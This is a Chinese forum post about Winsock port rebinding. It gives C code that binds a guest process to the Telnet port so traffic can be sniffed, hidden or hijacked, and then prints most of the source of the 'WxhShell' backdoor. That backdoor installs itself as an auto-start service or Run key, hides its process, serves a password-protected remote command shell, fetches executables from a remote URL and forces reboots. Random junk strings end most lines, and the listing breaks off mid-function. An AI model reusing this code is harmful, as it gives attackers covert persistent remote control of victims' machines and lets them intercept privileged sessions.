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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: zH0{S.3 k  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); o'W[v0> L-  
x?ajTzMv  
  saddr.sin_family = AF_INET; .K`^n\T t  
'qosw:P  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); =uZOpeviQ  
9w-V +Nf  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); J,8Wo6  
$X.X_  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 %N"9'g>  
</K"\EU  
  这意味着什么?意味着可以进行如下的攻击: ]LvpYRU$P  
%hYol89F  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 MTKd:.J6  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) +["t@Q4IQ  
&{s`=IeN  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 N XwQvm;q  
GC{)3)_ t  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  0 ]v:Ix  
F5CV<-jB  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 lP@/x+6tg  
+^St"GWY  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {9 >jWNx  
|eEcEu?/b  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 d83K;Ryd  
zc<C %t[~y  
  #include ^ fo2sN"   
  #include ,gR9~k,  
  #include *k$":A  
  #include    XO)|l8t#$=  
  DWORD WINAPI ClientThread(LPVOID lpParam);   p^G:h6|+|  
  int main() JRMe( ,u  
  { B}= WxG|)  
  WORD wVersionRequested; axTvA(k9  
  DWORD ret; @v1f)(N  
  WSADATA wsaData; KrQ8//Ih  
  BOOL val; Az_s"}G  
  SOCKADDR_IN saddr; 3pSkk  
  SOCKADDR_IN scaddr; r^uo7?gZ^  
  int err; )~q@2^  
  SOCKET s; ^]He]FW':G  
  SOCKET sc; R@=Bk(h  
  int caddsize; XYbc1+C  
  HANDLE mt; _)q,:g~fu  
  DWORD tid;   d7xd"  
  wVersionRequested = MAKEWORD( 2, 2 ); qTA@0fL  
  err = WSAStartup( wVersionRequested, &wsaData ); Ea%} VZ&[  
  if ( err != 0 ) { IxY%d}[uo  
  printf("error!WSAStartup failed!\n"); J$)lYSNE  
  return -1; qb+vptg@I  
  } AiXxn'&i  
  saddr.sin_family = AF_INET; P^-tGo!  
   _kR,R"lh  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 7o$4ov;T  
* \@u,[,  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); r)jj]$0  
  saddr.sin_port = htons(23); _rQM[{Bkg  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @_&@M~ u  
  { w5I +5/I  
  printf("error!socket failed!\n"); 8oI)q4V  
  return -1; NX?J  
  } U>^u!1X  
  val = TRUE; N?d4Pu1m  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 s=lkK / [  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) $ ]/a/!d  
  { Z3K~C_0Cnu  
  printf("error!setsockopt failed!\n"); . bh>_ W_h  
  return -1; :tu_@3bg-  
  } 0&1!9-(d  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; lNSB "S  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 hP4*S^l  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 a7#J af  
?)9mHo^  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) tA+ c  
  { I!y[7^R  
  ret=GetLastError(); }.<%46_Z-  
  printf("error!bind failed!\n"); ]KMOLe6(  
  return -1; #D"fCVIS  
  } _"8\k 7S*  
  listen(s,2); 56Q9RU(M  
  while(1) b {e nD  
  { 8=^o2&  
  caddsize = sizeof(scaddr); $=8?@My<  
  //接受连接请求 ?`Oh]2n)6  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); wL]7d3t  
  if(sc!=INVALID_SOCKET) n<;T BK  
  { sF?N vp  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); {0fQ"))"  
  if(mt==NULL) U @$Kp>X  
  { u 89u#gCAC  
  printf("Thread Creat Failed!\n"); Xp]tL3-p  
  break; *N"bn'>3  
  } 3IqYpK(s  
  } &Y2mLPB  
  CloseHandle(mt); GI}h )T  
  } z T|]!',  
  closesocket(s); <!h&h  
  WSACleanup(); bdiyS.a-  
  return 0; NJb5HoYZ  
  }   "M*Pt  
  DWORD WINAPI ClientThread(LPVOID lpParam) 8$!/Zg  
  { p&=F:-  
  SOCKET ss = (SOCKET)lpParam; DiF=<} >x  
  SOCKET sc; `vJ+ sRf  
  unsigned char buf[4096]; .^^YS$%%7  
  SOCKADDR_IN saddr; F{ cKCqI?  
  long num; %Uk]e5Hu  
  DWORD val; rIz"_r  
  DWORD ret; zmI?p4,  
  //如果是隐藏端口应用的话,可以在此处加一些判断 8phc ekh+  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   C% <[mM  
  saddr.sin_family = AF_INET; 2U6j?MyH2  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); yi3@-  
  saddr.sin_port = htons(23); @>'.F<:P<  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) K;2tY+I  
  { vVF#]t b|  
  printf("error!socket failed!\n"); 4*9y4"  
  return -1; /ey[cm2#[s  
  } 9V&%_.Z  
  val = 100; FJ3Xeo s4|  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $l:?(&u  
  { |y@TI  
  ret = GetLastError(); 5fS89?/?  
  return -1; AF5.gk=  
  } iq`y  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) zzfwI@4  
  { 8Z>ZjNG  
  ret = GetLastError(); uY;-x~Z  
  return -1; 7SE=otZ>  
  } ~SkdP7 )  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Y418k  
  { eRllF` *  
  printf("error!socket connect failed!\n"); ,R$n I*mf_  
  closesocket(sc); F|X-|Co  
  closesocket(ss);  }5^j08  
  return -1; hQrO8T?2  
  } K"1xtpy  
  while(1) 5EDM?G  
  { &#Sg1$/+  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 .L%_#A  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ni gp83:  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 6.|f iQs ]  
  num = recv(ss,buf,4096,0); vyT$IdV2  
  if(num>0) CqDMq!  
  send(sc,buf,num,0); HPs$R [  
  else if(num==0) 8}m] XO  
  break; GE=#8-@g~p  
  num = recv(sc,buf,4096,0); Y'kD_T`f,  
  if(num>0) + oyW_!(  
  send(ss,buf,num,0); D .| h0gU  
  else if(num==0) @AL,@P/9=  
  break; li\hHd5  
  } V 0R;q  
  closesocket(ss); 6sl*Ko[  
  closesocket(sc); Vin d\yvM  
  return 0 ; Kd CPt!  
  } SE{$a3`UzP  
94"R&|  
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========================================================== 2a2C z'G  
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下边附上一个代码,,WXhSHELL :h1itn  
"2(4?P  
========================================================== Y+ P\5G  
iUqL /  
#include "stdafx.h" >:5/V0;,  
!<}<HR^ )  
#include <stdio.h> ;5-Sn(G  
#include <string.h> kc `Q- N}  
#include <windows.h> %VsuG A  
#include <winsock2.h> D %~s  
#include <winsvc.h> >1xlP/4jx  
#include <urlmon.h> he&*N*of:  
9}t2OJS*h"  
#pragma comment (lib, "Ws2_32.lib") LOi5 ^Um|  
#pragma comment (lib, "urlmon.lib") z= vfP%  
d$g-u8  
#define MAX_USER   100 // 最大客户端连接数 \(jSkrrD  
#define BUF_SOCK   200 // sock buffer ~h?zK 1  
#define KEY_BUFF   255 // 输入 buffer oT$w14b  
N5[QQtQ  
#define REBOOT     0   // 重启 G_=`&i"4  
#define SHUTDOWN   1   // 关机 SZH,I&8  
dNG>:p  
#define DEF_PORT   5000 // 监听端口 axnkuP(  
UceZW tYa  
#define REG_LEN     16   // 注册表键长度 @rkNx@[~  
#define SVC_LEN     80   // NT服务名长度 MzsDWx;eJ  
ge?1ez2  
// 从dll定义API o6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); N54U [sy  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2@Jw?+}vr  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); HS]|s':  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); tlu-zUsi  
>f4H<V-  
// wxhshell配置信息 )Ve?1?s '8  
struct WSCFG { 828E^Q"<  
  int ws_port;         // 监听端口 ;OTD1=  
  char ws_passstr[REG_LEN]; // 口令 ZffK];D  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4&~1|B{Z  
  char ws_regname[REG_LEN]; // 注册表键名 Zz= +?L  
  char ws_svcname[REG_LEN]; // 服务名 v! uD]}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \kZxys!4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 cF3V{b|bU  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $`x4|a8-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no WMZ&LlB%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" BdB/`X*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zn&NLsA  
qYZX, x  
}; ?8fa/e  
g5lf- }?  
// default Wxhshell configuration $fV47;U'*  
struct WSCFG wscfg={DEF_PORT, ]$!-%pNv  
    "xuhuanlingzhe", {LVii}<  
    1, { :'#Ts<  
    "Wxhshell", `$SX%AZA  
    "Wxhshell", )FGm5-K@  
            "WxhShell Service", Y~hBVz2g  
    "Wrsky Windows CmdShell Service", gI6./;;x  
    "Please Input Your Password: ", Vq2d+ ,fb  
  1, E(*RtOC<W  
  "http://www.wrsky.com/wxhshell.exe", l_Ftt N  
  "Wxhshell.exe" }Zc.rk  
    }; |"?0H#  
[>Z~& cm  
// 消息定义模块 7"w r8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; F]@vmzr  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :w:hqe|_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; W'eF | hu  
char *msg_ws_ext="\n\rExit."; %fnL  
char *msg_ws_end="\n\rQuit."; 6%~ Z^>`N  
char *msg_ws_boot="\n\rReboot..."; q3TAWNzI0  
char *msg_ws_poff="\n\rShutdown..."; v1<3y~'f  
char *msg_ws_down="\n\rSave to "; M%5qx,JQY  
nAG2!2_8  
char *msg_ws_err="\n\rErr!"; Zsc710_  
char *msg_ws_ok="\n\rOK!"; c#|!^gjf  
X zgJ@  
char ExeFile[MAX_PATH]; <Qu]m.z[  
int nUser = 0; q+5g+9  
HANDLE handles[MAX_USER]; ^.aFns{wv  
int OsIsNt; C,Q>OkSc  
yt}Ve6  m  
SERVICE_STATUS       serviceStatus; "C&l7K;bp  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [U.3rcT"N  
zMxHJNQ\D  
// 函数声明 wO/}4>\  
int Install(void); vmm#UjwF3  
int Uninstall(void); Lqq RuKi  
int DownloadFile(char *sURL, SOCKET wsh); ;D&FZ|`(u  
int Boot(int flag); [Nbs{f^J=  
void HideProc(void); vx62u29m  
int GetOsVer(void); |RS9N_eRt  
int Wxhshell(SOCKET wsl); <V0]~3  
void TalkWithClient(void *cs); '`&gSL.1a@  
int CmdShell(SOCKET sock); nh"nSBRxk  
int StartFromService(void); UUJbF$@;  
int StartWxhshell(LPSTR lpCmdLine); "bZ%1)+  
X|fl_4NC>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); K?o( zh;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); rrbD0UzFA  
|N/Grk4  
// 数据结构和表定义 GM=r{F &  
SERVICE_TABLE_ENTRY DispatchTable[] = SDt)|s  
{ F9p'|-   
{wscfg.ws_svcname, NTServiceMain}, s9+Rq*Qd  
{NULL, NULL} 4<[,"<G~3  
}; ?-%Q[W  
L|pMq!@J  
// 自我安装 5&Al  
int Install(void) "7}bU_":s  
{ 88x_}M^Fnl  
  char svExeFile[MAX_PATH]; gpDH_!K  
  HKEY key; y:u7*%"  
  strcpy(svExeFile,ExeFile); o.W:R Ux  
O?5uCh$H  
// 如果是win9x系统,修改注册表设为自启动 Cl#PYB{1Y  
if(!OsIsNt) { W6J%x[>Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :@#9P,"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZFwUau  
  RegCloseKey(key); uNSaw['0j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p)v|t/7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pW$ZcnU  
  RegCloseKey(key); Ey96XJV  
  return 0; V,:^@ 7d  
    } ~A^E_  
  } Yw @)0%G  
} qg1s]c~0u  
else { Y1fcp_]m  
3}R}|Ha J#  
// 如果是NT以上系统,安装为系统服务 36"-cGNr{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); S"hA@j  
if (schSCManager!=0) )tYu3*'  
{ " E+V >V+  
  SC_HANDLE schService = CreateService Cge@A'2  
  ( yTJ Eo\g/@  
  schSCManager, G#yv$LY#  
  wscfg.ws_svcname, !jlLF:v|1A  
  wscfg.ws_svcdisp, X)7_@,7  
  SERVICE_ALL_ACCESS, kq|(t{@Rp  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :Y wb  
  SERVICE_AUTO_START, 8LuM eGs  
  SERVICE_ERROR_NORMAL, >}<1  
  svExeFile, Xb#!1hA  
  NULL, E,IeW {6s  
  NULL, R 6JHRd  
  NULL, iB4`w\-o  
  NULL, D2}N6i  
  NULL Nini8@d  
  ); pGZiADT  
  if (schService!=0) ZtHTl\z  
  { iW u  
  CloseServiceHandle(schService); >s dT=6v  
  CloseServiceHandle(schSCManager); V'b$P2 ?^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >^Rkk {cc  
  strcat(svExeFile,wscfg.ws_svcname); 5<64 C}fE3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :Kq]b@ X  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;::]R'F[  
  RegCloseKey(key); |m{u]9  
  return 0; zm>^!j !  
    } rfo7\'yk  
  } m&S *S_c  
  CloseServiceHandle(schSCManager); suKr//_  
} $?P5A E  
} [G!#y  
hp|.hN(kS]  
return 1; ;Aqj$ x  
} M'gGoH}B+q  
T'6MAxEZUq  
// 自我卸载 zTBf.A;e7  
int Uninstall(void) f4'WT  
{ P;8nC:zL  
  HKEY key; e|-&h `[  
I<+EXH%1,  
if(!OsIsNt) { lKdd3W"o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h~EGRg  
  RegDeleteValue(key,wscfg.ws_regname); '[WVP=M<XV  
  RegCloseKey(key); J2 ZV\8t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ohU}ST:9  
  RegDeleteValue(key,wscfg.ws_regname); '`s+e#rs4{  
  RegCloseKey(key); r>ziQq8C&  
  return 0; X!xmto  
  } ^sVr#T  
} 52,[dP,g  
} Am ~P$dN  
else { X+2uM+  
gwGw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &9Kni/  
if (schSCManager!=0) B6kc9XG  
{ }INj~d<:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); TJ_Wze-lQ  
  if (schService!=0) gpw,bV  
  { OLS/3c z  
  if(DeleteService(schService)!=0) { X aE;i57$l  
  CloseServiceHandle(schService); Z ".Xroq~  
  CloseServiceHandle(schSCManager); \>$3'i=mQ  
  return 0; rP{Jep!  
  } v<3KxP'a  
  CloseServiceHandle(schService); =h\unQ1T  
  } 'MgYSP<  
  CloseServiceHandle(schSCManager); % * k`z#b  
} gNHS:k\"  
} i 558&:  
S=<OS2W7+r  
return 1; q6PG=9d0B  
} bWgRGJqt  
[XE\2Qa8e  
// 从指定url下载文件 ({3Ap{Q}  
int DownloadFile(char *sURL, SOCKET wsh) r;^%D(  
{ j7BLMTF3v  
  HRESULT hr; r2*8.j51  
char seps[]= "/"; \,xa_zeO  
char *token; H+{@V B  
char *file; uH&B=w  
char myURL[MAX_PATH]; t6uYFxE  
char myFILE[MAX_PATH]; ds2%i  
>PzZt8e  
strcpy(myURL,sURL); g=/!Ry=  
  token=strtok(myURL,seps); B*(BsXQLY  
  while(token!=NULL) M5a&eO  
  { *Z$W"JP  
    file=token; yJ/YK  
  token=strtok(NULL,seps); h/Yxm2  
  } kRjNz~g  
!r8_'K5R(  
GetCurrentDirectory(MAX_PATH,myFILE); bvOnS0,y  
strcat(myFILE, "\\"); k!ID  
strcat(myFILE, file); oJZxRm[g$t  
  send(wsh,myFILE,strlen(myFILE),0); 7B<,nKd  
send(wsh,"...",3,0); to'CuPkT  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ypgM&"eR  
  if(hr==S_OK) Uc,MZV4  
return 0; 0xx4rp H  
else <+-=j  
return 1; n2 can  
qSGM6kb  
} !1Hs;K  
?fN6_x2e3  
// 系统电源模块 H:|.e)$i  
int Boot(int flag) Fge ["p?GF  
{ 5%N[hd1Ql  
  HANDLE hToken; ^TD%l8o6  
  TOKEN_PRIVILEGES tkp;  )m#Y^  
,k_"T.w  
  if(OsIsNt) { q_6fr$-Qh  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); H $ %F0'0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &09&;KJ  
    tkp.PrivilegeCount = 1; ?nPG#Z|%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; h w ^ V  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U9\\8  
if(flag==REBOOT) { ohbU~R3{U  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _Vl~'+e  
  return 0; x`c 7*q%  
} 1tq ^W'  
else { eR,/} g\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) c4u/tt.)  
  return 0; P-a8S*RRa  
} \WBO(,]V  
  } Y=4 7se=h"  
  else { Do77V5  
if(flag==REBOOT) { :tbgX;tCs5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5S8>y7knQ  
  return 0; qw$9i.Z  
} <S=( `D  
else { MhR`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) RcO"k3J  
  return 0; $E&T6=Wn  
} F3qCtx *N  
} /* qx5$~  
H[nco#  
return 1; z{|0W!nHJ  
} =tbfBK+  
qTK(sW  
// win9x进程隐藏模块 %W8iC%~  
void HideProc(void) o">~ObR  
{ M(nzJ  
 ?HRS*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "-djA,`  
  if ( hKernel != NULL ) Pro?xY$E)  
  { <5D4h!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Xy%||\P{)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {Ef.wlZ  
    FreeLibrary(hKernel); ii_kgqT^  
  } }LCm_av  
<T?-A}0uO  
return; =^GPQ_"  
} z\oTuW*B  
=}%#j0a4  
// 获取操作系统版本 "9r$*\wOf  
int GetOsVer(void) nShXY6bA  
{ > SLQW  
  OSVERSIONINFO winfo; _}Qtx/Cg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >O<a9wz  
  GetVersionEx(&winfo); l;KrFJ6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) } A+ncabm  
  return 1; #2s}s<Sc;  
  else ZM})l9_o"  
  return 0; \c<;!vkZ04  
} rH!sImz,  
_]33Ht9  
// 客户端句柄模块 }2@Z{5sh)  
int Wxhshell(SOCKET wsl) |,@D <  
{ MOK}:^bSu  
  SOCKET wsh; O-HS)g$2  
  struct sockaddr_in client; &BLCP d  
  DWORD myID; J}&Us p  
,{!,%]bC  
  while(nUser<MAX_USER) qF4tjza;k  
{ "d:rPJT)(@  
  int nSize=sizeof(client); W03mdRW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1$eoW/8.  
  if(wsh==INVALID_SOCKET) return 1; %SOXw 8-  
s2"`j-iQ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); b6 %m*~  
if(handles[nUser]==0)  NdRcA  
  closesocket(wsh); _,!0_\+i  
else e2v`  
  nUser++; {daX?N|V  
  } #%Bt!#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?[d4HKs  
>({qgzV`  
  return 0; eJTU'aX*   
} A[uE#T ^  
)I[f(f%W7  
// 关闭 socket jhm/ <=  
void CloseIt(SOCKET wsh) wv\K  
{ 3!b $R?kZ  
closesocket(wsh); $/s"It  
nUser--; 2L1y4nnbwo  
ExitThread(0); CyR`&u  
} I{OizBom  
beBG40  
// 客户端请求句柄 aaig1#a@1b  
void TalkWithClient(void *cs) u0Wt"d-=  
{ )`rD]0ua;  
I4G0 !"T+  
  SOCKET wsh=(SOCKET)cs; LWv<mtuYf  
  char pwd[SVC_LEN]; b'\Q/;oz>  
  char cmd[KEY_BUFF]; Q3ty K{JE  
char chr[1]; !nSa4U,$w<  
int i,j; 8j;Un]  
e?.j8 Q ~  
  while (nUser < MAX_USER) { X#ttDB  
3T8d?%.l  
if(wscfg.ws_passstr) { f-enF)z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,)Q-o2(C  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P !i_?M  
  //ZeroMemory(pwd,KEY_BUFF); ;Y\LsmZ;F  
      i=0; "G [Nb:,CR  
  while(i<SVC_LEN) { wHbkF#[:i  
wx*?@f>u^  
  // 设置超时 Q"dq_8\`U  
  fd_set FdRead; H[u9C:}9b  
  struct timeval TimeOut; gZ4' w`4r  
  FD_ZERO(&FdRead); sNDo@u7  
  FD_SET(wsh,&FdRead); 5P\>$N1p  
  TimeOut.tv_sec=8; (M$0'BV0  
  TimeOut.tv_usec=0; s{@R|5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); G<e+sDQ2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q13fmK(n-5  
-*' ?D@l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4>=M"D hB  
  pwd=chr[0]; 3_)I&RM  
  if(chr[0]==0xd || chr[0]==0xa) { oj djy#:  
  pwd=0; A,.X  
  break; m "9f(  
  } `f;w  
  i++; :s_> y_=g  
    } K>DN6{hnV;  
Cq!eAc  
  // 如果是非法用户,关闭 socket FE\E%_K'n7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kw$ 7G1Q  
} ~{I.qv)>M~  
d <}'eBT'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ri{*\LV*@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P:'wSE91  
D!~ Y"4<  
while(1) { btuG%D{a^  
Bib<ySCre  
  ZeroMemory(cmd,KEY_BUFF); mcV<)UA}  
m`-);y  
      // 自动支持客户端 telnet标准   BuV71/Vb{Q  
  j=0; ~pRgTXbz  
  while(j<KEY_BUFF) { #SHeK 4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R xMsP;be  
  cmd[j]=chr[0]; *)Qv;'U=rn  
  if(chr[0]==0xa || chr[0]==0xd) { Z6zV 9hn  
  cmd[j]=0; @3?>[R  
  break; XLn9NBT4K  
  } ==[=Da~  
  j++; PT2;%=f  
    } L(TM& ps\-  
P~trxp=k  
  // 下载文件 rw'+2\  
  if(strstr(cmd,"http://")) { '(5GR I<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); GM6, LzH  
  if(DownloadFile(cmd,wsh)) ELCNf   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3%+ ~"4&  
  else "Au4&Fu  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \C3I6Qx  
  } h9Far8}  
  else { 5!F;|*vC8  
cX-M9Cz  
    switch(cmd[0]) { N]+6<  
  Q~(Gll;  
  // 帮助 '3b\d:hN  
  case '?': { r"dIB@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]W5*R07  
    break; 7'IIB1v.\  
  } Q~ U\f$N  
  // 安装 ,R[$S"]!SH  
  case 'i': { UGPDwgq\v  
    if(Install()) ""-wM~^D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }YDi/b7  
    else 5tlR rf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1tNL)x"w  
    break; % Ln`c.C  
    } :.x(( FU  
  // 卸载 "|8oFf)l@B  
  case 'r': {  aO&U=!  
    if(Uninstall()) 5%Qxx\q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *2zp>(%  
    else BmX'%5ho  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MLWHO$C~T  
    break; N1~bp?$1  
    } y&$n[j  
  // 显示 wxhshell 所在路径 }emUpju<C  
  case 'p': { 7_\sx7h{3  
    char svExeFile[MAX_PATH]; Yj&Sb  
    strcpy(svExeFile,"\n\r"); e"04jd/  
      strcat(svExeFile,ExeFile); 9[.HWe,  
        send(wsh,svExeFile,strlen(svExeFile),0); { ptd OrN  
    break; 1b9S";ct0  
    } ^+m`mcsE  
  // 重启 cZh0\Dy U  
  case 'b': { .C^P6S2oJ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); huC{SzXM  
    if(Boot(REBOOT)) +Ryj82;59z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G WIsT\J  
    else { ;b{#$#`=  
    closesocket(wsh); ]pR?/3  
    ExitThread(0); arL>{mj  
    } 7H3v[ f^Q  
    break; 59Pc:Gg;  
    } R0-0  
  // 关机 bB_LL  
  case 'd': { Jp=qPG|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?J:w,,4m  
    if(Boot(SHUTDOWN)) <[db)r~c  
